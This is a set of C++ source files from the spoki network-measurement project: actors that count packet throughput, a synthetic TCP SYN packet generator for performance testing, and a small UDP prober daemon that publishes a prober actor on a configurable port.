-------------------------------------------------------------------------------- 1 | /* 2 | * This file is part of the CAF spoki driver. 3 | * 4 | * Copyright (C) 2018-2021 5 | * Authors: Raphael Hiesgen 6 | * 7 | * All rights reserved. 8 | * 9 | * Report any bugs, questions or comments to raphael.hiesgen@haw-hamburg.de 10 | * 11 | */ 12 | 13 | #include 14 | 15 | #include "perf/counting.hpp" 16 | 17 | #include "spoki/packet.hpp" 18 | #include "spoki/probe/request.hpp" 19 | 20 | namespace perf { 21 | 22 | caf::behavior counter(caf::stateful_actor* self) { 23 | self->state.requests = 0; 24 | self->delayed_send(self, std::chrono::seconds(1), spoki::stats_atom_v); 25 | return { 26 | [=](uint32_t num) { self->state.requests += num; }, 27 | [=](const spoki::probe::request& req) { ++self->state.requests; }, 28 | [=](const spoki::probe::request& req, bool) { ++self->state.requests; }, 29 | [=](const spoki::packet& pkt) { ++self->state.requests; }, 30 | [=](spoki::stats_atom) { 31 | auto& s = self->state; 32 | self->delayed_send(self, std::chrono::seconds(1), spoki::stats_atom_v); 33 | aout(self) << s.requests << std::endl; 34 | s.requests = 0; 35 | }, 36 | }; 37 | } 38 | 39 | caf::behavior aggregator(caf::stateful_actor* self, caf::actor cntr) { 40 | self->state.requests = 0; 41 | self->state.stats = 0; 42 | //self->delayed_send(self, std::chrono::seconds(1), spoki::stats_atom_v); 43 | auto add = [self, cntr]() { 44 | auto& s = self->state; 45 | s.requests += 1; 46 | s.stats += 1; 47 | if (s.requests >= 1000) { 48 | self->send(cntr, s.requests); 49 | s.requests = 0; 50 | } 51 | }; 52 | return { 53 | [=](const spoki::probe::request& req) { add(); }, 54 | [=](const spoki::probe::request& req, bool) { add(); }, 55 | [=](const spoki::packet& pkt) { add(); }, 56 | [=](const std::vector& packets) { 57 | auto& s = self->state; 58 | s.requests += packets.size(); 59 | if (s.requests >= 1000) { 60 | self->send(cntr, s.requests); 61 | s.requests = 0; 62 | } 63 | }, 64 | [=](spoki::stats_atom) { 65 | auto& s = self->state; 66 | self->delayed_send(self, std::chrono::seconds(1), spoki::stats_atom_v); 67 | aout(self) << "[" << self->id() << "] " << s.stats << std::endl; 68 | s.stats = 0; 69 | }, 70 | }; 71 | } 72 | 73 | const char* counts::name = "counter"; 74 | 75 | } // namespace perf 76 | -------------------------------------------------------------------------------- /spoki/tools/src/perf/packet_provider.cpp: -------------------------------------------------------------------------------- 1 | /* 2 | * This file is part of the CAF spoki driver. 3 | * 4 | * Copyright (C) 2018-2021 5 | * Authors: Raphael Hiesgen 6 | * 7 | * All rights reserved. 8 | * 9 | * Report any bugs, questions or comments to raphael.hiesgen@haw-hamburg.de 10 | * 11 | */ 12 | 13 | #include "perf/packet_provider.hpp" 14 | 15 | #include "spoki/atoms.hpp" 16 | #include "spoki/net/tcp.hpp" 17 | #include "spoki/packet.hpp" 18 | #include "spoki/time.hpp" 19 | 20 | namespace perf { 21 | 22 | caf::behavior packet_provider(caf::stateful_actor* self, 23 | std::vector router, uint32_t pps) { 24 | auto& s = self->state; 25 | // Initialize packet. 26 | s.pkt.ttl = s.ttl; 27 | s.pkt.ipid = s.ipid; 28 | s.pkt.daddr = caf::ipv4_address::from_bits(0x0102030a); 29 | s.pkt.proto = spoki::net::tcp{ 30 | uint16_t{42342}, // sport 31 | uint16_t{3928}, // dport 32 | uint32_t{13143124}, // snum 33 | uint32_t{4342232}, // anum 34 | true, // syn 35 | false, // ack 36 | false, // rst 37 | false, // fin 38 | uint16_t{1024}, // window_size 39 | {}, // options 40 | {}, // payload 41 | }; 42 | self->delayed_send(self, std::chrono::seconds(1), spoki::tick_atom_v); 43 | return { 44 | [=](spoki::tick_atom) { 45 | auto& s = self->state; 46 | self->delayed_send(self, std::chrono::seconds(1), spoki::tick_atom_v); 47 | for (uint32_t i = 0; i < pps; ++i) { 48 | s.daddr = ((s.daddr + 1) & s.daddr_suffix_max); 49 | auto complete_daddr = htonl(s.daddr | s.daddr_prefix); 50 | s.pkt.saddr = caf::ipv4_address::from_bits(complete_daddr); 51 | s.pkt.observed = spoki::make_timestamp(); 52 | // Finish packet. 53 | if (router.empty()) { 54 | std::cerr << "no route for: " << to_string(s.pkt.saddr) << std::endl; 55 | return; 56 | } 57 | auto last_byte = s.pkt.saddr[3]; 58 | auto idx = last_byte % router.size(); 59 | auto worker = router[idx]; 60 | self->send(worker, s.pkt); 61 | } 62 | }, 63 | }; 64 | } 65 | 66 | const char* packet_info::name = "packet provider"; 67 | 68 | } // namespace perf 69 | -------------------------------------------------------------------------------- /spoki/tools/src/udproberd.cpp: -------------------------------------------------------------------------------- 1 | /* 2 | * This file is part of the CAF spoki driver. 3 | * 4 | * Copyright (C) 2018-2019 5 | * Authors: Raphael Hiesgen 6 | * 7 | * All rights reserved. 8 | * 9 | * Report any bugs, questions or comments to raphael.hiesgen@haw-hamburg.de 10 | * 11 | */ 12 | 13 | #include 14 | #include 15 | #include 16 | 17 | #include 18 | #include 19 | 20 | #include "spoki/probe/udp_prober.hpp" 21 | 22 | #include "is_ip_address.hpp" 23 | 24 | using namespace std; 25 | using namespace caf; 26 | using namespace caf::io; 27 | 28 | namespace { 29 | 30 | // Some CLI stuff. 31 | class configuration : public actor_system_config { 32 | public: 33 | string host; 34 | uint16_t port; 35 | bool service_specific_probes = false; 36 | bool reflect = false; 37 | configuration() { 38 | load(); 39 | opt_group{custom_options_, "global"} 40 | .add(host, "host,H", "host to accept connections from") 41 | .add(port, "port,p", "port to publish on") 42 | .add(service_specific_probes, "service-specific-probes,S", 43 | "load service-specific probes map to send to matching ports") 44 | .add(reflect, "reflect,r", 45 | "reflect payload for probes not in out list " 46 | " services map."); 47 | } 48 | }; 49 | 50 | } // namespace 51 | 52 | void caf_main(actor_system& system, const configuration& config) { 53 | auto reflect = caf::get_or(system.config(), "probers.reflect", false); 54 | auto ssp = caf::get_or(system.config(), "probers.service-specific-probes", 55 | false); 56 | auto backend = spoki::probe::udp_prober::make(ssp, reflect); 57 | if (!backend) { 58 | std::cerr << "ERR: Failed to create prober." << std::endl; 59 | return; 60 | } 61 | auto prober = system.spawn(spoki::probe::prober, backend); 62 | if (!prober) 63 | return; 64 | const char* host = config.host.empty() ? nullptr : config.host.c_str(); 65 | auto port = system.middleman().publish(prober, config.port, host, true); 66 | if (!port) { 67 | cerr << "Failed to publish prober: " << to_string(port.error()) << endl; 68 | caf::anon_send_exit(prober, caf::exit_reason::normal); 69 | } else { 70 | cout << "Prober running on port " << *port << "." << endl; 71 | } 72 | system.await_all_actors_done(); 73 | cout << "Bye!" << endl; 74 | } 75 | 76 | CAF_MAIN(caf::io::middleman) 77 | --------------------------------------------------------------------------------